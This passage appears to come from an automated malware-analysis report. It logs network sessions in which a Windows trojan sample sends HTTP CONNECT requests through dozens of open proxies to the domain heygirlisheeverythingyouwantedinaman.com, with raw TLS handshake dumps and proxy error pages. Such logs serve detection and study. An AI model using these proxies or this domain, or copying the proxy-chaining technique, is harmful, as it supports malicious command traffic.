Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.529541969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.891779900 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.8	51463	152.32.132.220	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.537653923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.8	51465	152.32.132.220	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.542783022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.8	51226	119.93.148.191	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.545867920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.352828979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.081284046 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.8	51085	192.111.139.163	19404	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.547410965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
389	192.168.2.8	51422	184.181.217.220	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.548959970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.8	51230	210.211.113.34	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.553009033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.985598087 CET	194	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:24 GMT Proxy-Connection: close Via: http/1.1 edgep-06.infra.viettelcdn.com (0.fd8fb8633.el8 [uSc s f p eN:tMc p s ]) Server: 0.fd8fb8633.el8
Feb 23, 2024 14:28:24.986347914 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 d8 9d 78 f9 96 f9 e0 af c2 ca a9 06 ee 2e d9 16 30 66 d0 e6 11 f8 96 af 3e 11 f0 7b 49 48 33 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: ex.0f>{IH3*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Feb 23, 2024 14:28:25.417732954 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 d8 9d 79 95 1f db ab 19 fc 49 3e 3e eb a3 2a b2 80 ed 93 14 be ab 1d 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?eyI>>DOWNGRD/#00`4ZmQ0H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Feb 23, 2024 14:28:25.417756081 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Feb 23, 2024 14:28:25.417870998 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Feb 23, 2024 14:28:25.417902946 CET	832	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0
Feb 23, 2024 14:28:25.422136068 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 6a e6 e5 11 67 d7 e2 2a f6 58 ba df c3 71 08 a8 35 b5 b5 c0 34 07 09 6e c2 95 42 d5 0f fd 64 66 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 33 68 54 5d 93 c7 ff 74 cc 2c 13 04 38 2c 0e 27 ec a6 05 b2 e3 Data Ascii: %! jg*Xq54nBdf(3hT]t,8,'7&Dwi3Y2
Feb 23, 2024 14:28:25.846204996 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 20 00 c0 2c d5 f9 b2 cc 79 2d dc cb 42 44 aa c9 0d 08 f5 3a 3a ee 59 8b 7c ea 8e aa 75 41 d7 99 86 fb 84 95 53 a0 d1 f0 e8 64 7b 67 5a 4f 0f 73 fb 9c e3 2f 78 86 4c 26 f1 bb 95 44 fe f7 88 55 69 f3 09 ec fc 8e Data Ascii: ,y-BD::Y\|uASd{gZOs/xL&DUi0nAM4*)0Pd{3~=MEo+nr(\|qZs7@Hn6XGlMxF,pLLQWs\F^(:(P+WJZ$`
Feb 23, 2024 14:28:25.853353977 CET	147	OUT	Data Raw: 17 03 03 00 8e 00 00 00 00 00 00 00 01 8d 8b 39 aa 3e e1 ea bb 19 81 35 7e 22 7e 4e bc 1b 6e 04 80 db 14 1d dd a6 91 a7 65 73 83 78 8b 2d 7f ff 60 8a d6 a3 67 09 02 4d a7 ce ed 4d 24 9e c8 aa a1 b3 bd 95 ca 76 cf 93 23 44 ac 3c b7 e5 f6 a5 2d e1 Data Ascii: 9>5~"~Nnesx-`gMM$v#D<-L\|hB?W6C17Z\+:V L
Feb 23, 2024 14:28:26.525578976 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 f8 05 04 9c de 11 e8 e6 96 cd b3 4b dc 6b 96 c0 97 20 6c ca 79 c7 5a 1f 7a bb 88 e0 4c 10 2d 95 79 fd ec e0 f0 45 1e 84 aa f7 18 d3 cd 56 03 5b 1c bd 9a ec af 29 aa 7c 7c 35 62 2b 53 68 30 f6 28 a9 cf e4 0a Data Ascii: qKk lyZzL-yEV[)\|\|5b+Sh0(eY7EiI,4d}Cl483f8\Rdbs%%vElX=U;w'?-o!v;^'(g\|;&@*yKP\(pXDXP%RX
Feb 23, 2024 14:28:26.525764942 CET	1286	IN	Data Raw: 6d d6 5d e0 b5 b0 60 54 f1 b2 dc 23 d1 fe 7a 23 77 da 80 28 42 01 91 61 b1 f9 a7 d3 8b cd e0 68 78 2b 0e 52 d2 6b 8a 54 35 73 8e 62 3d 8a 4e 68 2d 2f f5 8d 12 5f 47 66 23 b5 e1 62 06 73 61 d2 a9 1d e4 4f 68 10 05 31 06 e3 fe 76 98 58 7b 10 ff 66 Data Ascii: m]`T#z#w(Bahx+RkT5sb=Nh-/_Gf#bsaOh1vX{fT,]vLbqbK)\|#5+Uz`+24=6HtN#A0T"a$#{d>/lf\|<=:VOz'>vM~a4%X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.8	51273	43.131.245.216	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.557128906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.8	51470	152.32.132.220	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.560010910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.8	51471	152.32.132.220	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.561393023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.8	50698	103.29.90.66	32650	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.587038994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.988562107 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.8	51306	115.74.158.40	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.598921061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.8	51251	103.127.1.130	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.602324009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.8	50914	148.72.177.90	64947	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.603605032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.8	50888	72.195.34.60	27391	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.604027987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.8	51320	116.199.170.17	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.609725952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.8	51326	115.77.148.253	2019	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.611319065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.986414909 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.8	50884	72.195.114.184	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.620400906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.8	50828	4.144.136.15	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.628782988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.730112076 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx
Feb 23, 2024 14:28:29.755532980 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 9d 7c 62 41 a3 d5 5d e8 55 56 01 65 2c d7 bb 9c f0 29 18 74 27 17 09 b4 bb 9d dc 35 5c aa 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e\|bA]UVe,)t'5\*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#,y-BDfg)SzbS
Feb 23, 2024 14:28:33.246475935 CET	115	IN	Data Raw: 16 03 03 00 3b 02 00 00 37 03 03 65 d8 9d 7f 80 5e 33 42 7f 5b 11 7b b1 44 7e ef 16 d4 d6 da 41 95 7a d8 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 0f 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 Data Ascii: ;7e^3B[{D~AzDOWNGRD/(kf,df'9 VeDAx
Feb 23, 2024 14:28:33.250310898 CET	198	OUT	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 90 87 d2 1b 20 03 1b 10 0a cf 34 28 20 bb 92 65 56 15 27 ed 57 8e ec eb 71 1a 27 b2 e4 8a 1c da 17 03 03 00 8e 00 00 00 00 00 00 00 01 ae 7a 46 bd 4e 21 7b 1f 16 cd 9d 78 a8 83 c6 25 3b 6f Data Ascii: ( 4( eV'Wq'zFN!{x%;o$5v,ouF_[}4\eV$YZTd?)qC9;tl>S8WJMN]s[m4=:O'\|v=x`d!'a
Feb 23, 2024 14:28:34.767781019 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 22 b9 dd 75 61 3b e4 da 32 25 b5 4a 2f 95 ed 13 a9 fe 11 69 0e 2e 1b 00 7e ae b7 20 3e 77 d7 b2 73 35 e8 e5 5f 05 86 8a 4e f0 90 ca 4b de aa e0 1e b5 2b 5e 44 92 22 0b 2e cc a9 e1 90 da 88 d2 cc 16 fa 54 f4 Data Ascii: q"ua;2%J/i.~ >ws5_NK+^D".TH1c{XdZOHQ_)q+Banu{s;PefldK>:(nxva&EHs\|uuG<9n,G2]PVc!Y6zslQcgb
Feb 23, 2024 14:28:34.767832041 CET	1286	IN	Data Raw: b6 75 d1 22 d5 62 74 e7 d8 bb a1 96 0d 9b 08 b6 01 79 07 12 69 df f5 32 16 b3 fe ed d1 40 df 22 2f 07 54 ee ba ca 72 18 ee 95 6e fb 3f e2 26 d3 a0 97 d3 97 91 e3 cb a8 1a 60 4c da c7 0e f7 c0 18 a1 70 48 91 01 a9 32 09 0b b1 77 dc 44 86 8d a2 08 Data Ascii: u"btyi2@"/Trn?&`LpH2wDS&(3?1}<p]4@Wi11fl0\|hbBZS24d^\7R^Nepx\|-K0X7SWB%>w1ZUV
Feb 23, 2024 14:28:34.767842054 CET	1286	IN	Data Raw: bf 90 63 ce 57 f6 2a 19 04 2d e3 f8 5e 55 f6 14 91 23 99 c8 21 41 0e 10 f5 9b 3a a7 59 d2 67 8e 6d 46 64 a8 db b2 03 12 09 56 53 67 73 cf 16 46 5f 56 49 7f 4a 75 fa 0e 74 ce 58 f0 1c 29 03 ac c9 de 3a 01 22 50 97 10 73 ba cd c3 40 c9 32 9f af 74 Data Ascii: cW-^U#!A:YgmFdVSgsF_VIJutX):"Ps@2t~m%PW7]z.p4+(*ZD: ?S%m@Js>)W[f/15]o9fpZx+vFjP#]d-Gy=Ii`YD:
Feb 23, 2024 14:28:34.767849922 CET	1286	IN	Data Raw: 88 de 1d b4 59 64 8d f2 30 84 bc 74 ad aa 3b a2 54 05 a4 83 6b 00 76 eb 2e b6 77 1a bc 24 b0 e7 e1 f6 14 38 ff bf 4f 30 73 c6 10 a0 c4 03 5d 97 6b c2 cf 38 d9 35 28 71 a1 dc 06 89 82 98 95 bd 39 1d a8 75 6e b2 7f f3 cb ee 7e c9 0f 92 77 22 0a c4 Data Ascii: Yd0t;Tkv.w$8O0s]k85(q9un~w"MQ}0ZjS$Cv?wv[CM)2vH`*H&"#{:mGO^=r:k$}x[T(GQxXf8tz7-:?mm
Feb 23, 2024 14:28:34.767906904 CET	496	IN	Data Raw: a0 11 86 27 fe b9 47 c6 79 3c 35 c1 e1 6b 37 b3 b3 86 8d 79 94 85 e3 bd 2e 83 ef 64 b0 ce 84 1c 44 3e 35 9c 18 2c 2b 36 78 a8 01 33 75 7b dc 31 87 ca 1a 90 6f 05 e1 ae d5 91 4c 27 68 28 37 36 7d 01 8b b5 0a 4a 24 60 07 ca f0 ca e4 aa d6 a2 37 c6 Data Ascii: 'Gy<5k7y.dD>5,+6x3u{1oL'h(76}J$`7k:X[.4@fwY-~Xj'fO5B9e[E3!Zf5LK6UrUvsG\|J1K`KX9F=AZ*d_,'J}M^
Feb 23, 2024 14:28:34.767915964 CET	1286	IN	Data Raw: c4 c7 78 72 74 aa fb a6 2f 52 a5 cf e1 2c 82 77 e1 7d f0 9b 2d 98 24 14 bf 9c 09 d0 ed 41 5a f2 73 5a 5c d9 e2 3c 10 cd 89 8d 88 b8 aa 3b 93 ca 00 21 d1 b0 cc 8b a5 6a 64 f5 94 65 87 3e 32 6e a7 3a 3e 9f b0 b2 2b b6 26 8b 38 51 80 0e 18 f2 44 06 Data Ascii: xrt/R,w}-$AZsZ\<;!jde>2n:>+&8QD/9;'jWIp&$61._.R7qj.luN\|GrK@5x2Fyk"Tkg8xBy_>@!-L=Wk>/1m1z)*'#2$;P@
Feb 23, 2024 14:28:34.767954111 CET	1286	IN	Data Raw: 18 2d 8a f7 5b 5b c1 85 e0 98 55 66 30 99 df 05 3b de c0 5b f4 1b bc 4d 10 69 79 6f cc b1 1a e9 e9 78 1f f7 59 93 8b 15 ab 82 0b 9a b9 14 f5 ca b0 2b 55 0b 3a 0f b9 16 80 72 22 b5 64 bb bf f6 63 f6 6d 2d 1c 75 99 db 97 02 6c f2 97 28 02 24 9a 0f Data Ascii: -[[Uf0;[MiyoxY+U:r"dcm-ul($}j:>?]p~,GH(l tY^;p8$S][4Q^>pX~<<7LcBLtF+&uRKGuq\|>`1^*tzwq%oq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.8	51337	172.232.111.247	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.628931999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.351108074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.669559002 CET	739	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:31 GMT Server: case1 X-Frame-Options: SAMEORIGIN Content-Length: 535 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 72 61 6a 61 6e 65 65 73 68 6d 40 67 6f 69 74 64 65 76 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at rajaneeshm@goitdev.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.8	50823	41.65.236.35	1976	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.639480114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.694915056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.781471968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.820693970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.897939920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:00.897841930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:12.929121017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.8	51438	72.195.101.99	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.642491102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.8	50886	45.11.95.165	6049	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.656418085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.8	51405	122.116.150.2	9000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.658941984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

